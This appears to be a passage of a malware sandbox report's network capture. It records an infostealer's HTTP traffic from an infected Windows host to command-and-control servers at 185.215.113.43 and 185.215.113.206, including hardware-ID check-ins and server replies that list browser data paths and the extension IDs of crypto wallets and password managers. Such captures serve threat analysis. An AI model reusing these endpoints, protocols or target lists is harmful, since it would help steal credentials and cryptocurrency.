Nov 21, 2024 07:10:19.195673943 CET	1236	IN	Data Raw: 32 c5 80 64 f7 7c dd ac 7a f1 32 87 6d 09 4a 1c 2f 6e 3b f4 37 9c 46 e9 78 bf 37 1c e0 6d bf 8e 0a 6f d5 09 03 90 ac ab 6b de 7d 31 61 4e 61 8c 5d 49 be fe b7 1e bf 46 bd d1 ee 9c a2 26 a8 34 6e fb 3d b7 14 c5 b1 cd 5f f0 fe 51 18 d0 37 d5 57 27 Data Ascii: 2d\|z2mJ/n;7Fx7mok}1aNa]IF&4n=_Q7W'X_8&'~$JtW{\|KYb% ]Q.0aYO+#; c1\|.%vS]5ruXeCV@grS(itYY%-UP*n
Nov 21, 2024 07:10:19.195686102 CET	1236	IN	Data Raw: 18 34 dc d0 cf 04 1f d9 62 14 d5 8e 78 04 b9 86 4c b0 cb 0c 59 0e 8e 8c 78 6c d7 d2 9c 7c 17 d9 14 a7 ee 19 69 17 8d 85 5c aa be 28 27 24 d4 ae 88 70 4b 74 7c 3d 2f d6 2e 31 b7 06 9d 6e 47 75 70 3d 15 d4 9d 24 bb ae c0 70 67 74 08 b0 c6 e5 5b 46 Data Ascii: 4bxLYxl\|i\('$pKt\|=/.1nGup=$pgt[FB:TwWc0tDA)\5.Rv%QBd%p<nGW5pUlBC;&\|.<g $eBB^9#<tD$*j/4S9@^ l9F4qn/?<W
Nov 21, 2024 07:10:19.195810080 CET	1236	IN	Data Raw: 1c 77 2e 89 93 4b 16 7a 32 20 4d 88 1c aa eb 4b 3d ee 08 c6 96 42 ff 19 a1 a7 97 e9 5c 37 4b b8 18 42 43 d9 8c 24 87 ff 57 31 81 de 18 42 17 da ec 0e 56 6e 9d 70 d0 1a 72 24 c6 2e 63 b8 56 7a 90 82 95 5e 08 42 d7 86 3b a4 e3 12 b1 76 3b 3c 30 04 Data Ascii: w.Kz2 MK=B\7KBC$W1BVnpr$.cVz^B;v;<0nDBrn`bxI\|r(K5db7_mflol6c.KtCa>84BJ$bSzBP<BgtpW@5B@@~y%Ew8 t}hibL
Nov 21, 2024 07:10:19.195820093 CET	1236	IN	Data Raw: 81 8f b9 ea 42 e8 be 04 2d 0e 48 d1 98 f9 c6 86 e0 b0 77 11 59 55 53 ac 34 88 db 0d 61 90 d4 98 40 5d 28 85 7a 11 6f be 2e 6f 47 74 98 6e 92 6a 16 56 d7 88 f0 6b b7 0c b1 23 39 8c eb cc b9 86 0c a6 f7 a5 2b 0d 16 1a 19 21 91 7e cf 04 77 d4 34 27 Data Ascii: B-HwYUS4a@](zo.oGtnjVk#9+!~w4'lg!'M'~0ulct8\74{n=}J\|?!.rHuhbl8N}/@B_;&.<qTK3?<5_i0:p.
Nov 21, 2024 07:10:19.195828915 CET	1236	IN	Data Raw: 2b ee ea 94 2e 40 8a 7a c8 0e 8f 84 80 b7 f3 d9 97 20 8d 88 74 3d f5 8a 9e 7e ba 04 19 7c e3 7b 58 a4 37 8a 5a 2f 9d d8 6c b0 bb ba 5b 8f df 99 35 d7 cd 12 2d 60 6e 88 a0 24 57 da 9a d1 4b 86 1d 44 53 0e ad 6e 07 0e 3d eb ed 8a 98 ce b9 86 cc b0 Data Ascii: +.@z t=~\|{X7Z/l[5-`n$WKDSn=Y>z>53X?BJcqRh:#}B0(r24Kh.]w(W.-qb8n#C2C}?2'*.R0LRd>qa(&,[$=??
Nov 21, 2024 07:10:19.315215111 CET	1236	IN	Data Raw: d4 ad 38 ea 9a 3c 7a 16 0e 35 07 7b e0 7c ea e1 3a 5c 9f 99 38 2d 8f 37 57 8d 7f 28 45 fd 3c 69 40 f7 75 78 80 62 8b 78 c5 b5 4d 97 93 61 07 64 63 e0 8f 26 40 2e 5e f5 26 df 92 42 41 3f db 5b 8c 85 54 11 5f f4 e0 28 18 88 c3 21 25 74 57 df 94 90 Data Ascii: 8<z5{\|:\8-7W(E<i@uxbxMadc&@.^&BA?[T_(!%tWJ DF,oLB7h7PXg/r@~9_:Qj&(Q1/h]7Uo17;O{q%@y%&si8\OW*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49803	185.215.113.43	80	7264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:24.810992002 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007861001&unit=246122658369
Nov 21, 2024 07:10:26.202374935 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 06:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49807	185.215.113.206	80	7936	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 07:10:25.926717997 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 07:10:27.313036919 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 07:10:27.417043924 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 43 33 31 44 36 43 39 32 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="hwid"3AC31D6C92534228319403------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="build"mars------IJEBKKEGDBFIIEBFHIEH--
Nov 21, 2024 07:10:27.880085945 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 32 45 31 59 7a 42 6a 4d 6a 42 6d 4d 6d 45 35 59 54 64 6c 4d 7a 56 6d 4f 44 41 33 4f 54 68 68 4d 44 4d 32 59 6d 52 6a 4d 6d 55 33 59 6a 5a 6c 4f 54 46 69 4f 54 68 6b 4d 6a 64 69 4f 44 55 78 4e 44 45 78 4e 6a 5a 69 4d 54 45 77 5a 44 49 32 4d 47 59 7a 5a 54 55 35 59 7a 59 31 5a 54 41 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: M2E1YzBjMjBmMmE5YTdlMzVmODA3OThhMDM2YmRjMmU3YjZlOTFiOThkMjdiODUxNDExNjZiMTEwZDI2MGYzZTU5YzY1ZTA4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 21, 2024 07:10:27.881210089 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"browsers------HIIIIEGHDGDBFIDGHDAF--
Nov 21, 2024 07:10:28.339395046 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 21, 2024 07:10:28.339431047 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 21, 2024 07:10:28.344789028 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"plugins------AAAKEBGDAFHIIDHIIECF--
Nov 21, 2024 07:10:28.798485994 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 21, 2024 07:10:28.798536062 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 21, 2024 07:10:28.798727989 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 21, 2024 07:10:28.798779011 CET	224	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpn
Nov 21, 2024 07:10:28.798809052 CET	1236	IN	Data Raw: 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 6c 71 61 57 35 6f 63 47 31 75 61 6d 5a 6d 59 32 39 6d 61 6d 39 75 59 6d Data Ascii: b2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGR
Nov 21, 2024 07:10:28.798875093 CET	1236	IN	Data Raw: 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 Data Ascii: Ym1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGh
Nov 21, 2024 07:10:28.807878017 CET	148	IN	Data Raw: 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 Data Ascii: YWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93
Nov 21, 2024 07:10:28.808371067 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXB
Nov 21, 2024 07:10:28.808556080 CET	668	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGV
Nov 21, 2024 07:10:28.809917927 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 61 35 63 30 63 32 30 66 32 61 39 61 37 65 33 35 66 38 30 37 39 38 61 30 33 36 62 64 63 32 65 37 62 36 65 39 31 62 39 38 64 32 37 62 38 35 31 34 31 31 36 36 62 31 31 30 64 32 36 30 66 33 65 35 39 63 36 35 65 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"3a5c0c20f2a9a7e35f80798a036bdc2e7b6e91b98d27b85141166b110d260f3e59c65e08------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"fplugins------EGDGCGCFHIEHIDGDBAAE--
